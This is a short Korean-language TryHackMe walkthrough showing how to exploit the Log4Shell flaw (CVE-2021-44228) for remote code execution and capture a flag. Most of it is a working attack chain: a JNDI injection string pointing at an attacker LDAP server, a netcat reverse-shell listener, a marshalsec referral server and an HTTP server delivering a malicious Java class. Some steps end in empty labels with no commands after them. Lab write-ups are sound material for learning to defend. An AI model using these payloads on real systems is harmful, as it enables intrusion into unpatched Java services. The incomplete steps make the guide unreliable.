
단계별 TryHackMe 워크스루: Log4Shell 취약점(CVE-2021-44228)을 악용하여 원격 코드 실행을 달성하고 플래그를 획득하는 방법.
플랫폼: TryHackMe 난이도: 중간 주제: Log4Shell (Log4j 취약점)
Log4j 취약점(CVE-2021-44228)을 악용하여 원격 코드 실행 권한을 획득하고 플래그를 캡처합니다.
nmap -sC -sV <TARGET_IP>
Log4j 취약점은 JNDI 주입을 허용합니다:
${jndi:ldap://<ATTACKER_IP>:1389/a}
입력이 로그에 기록되면 → 취약점이 존재합니다.
nc -lvnp 4444
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package
LDAP 서버 실행:
java -cp target/marshalsec.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>:8000/#Exploit" 1389
python3 -m http.server 8000
악성 Java 클래스(Exploit.class) 생성
취약한 필드에 페이로드 주입:
${jndi:ldap://<ATTACKER_IP>:1389/Exploit}
💡 다음과 같은 헤더를 사용하세요:
트리거되면:
확인:
sudo -l
다음 항목을 찾으세요:
find / -name flag.txt 2>/dev/null
cat flag.txt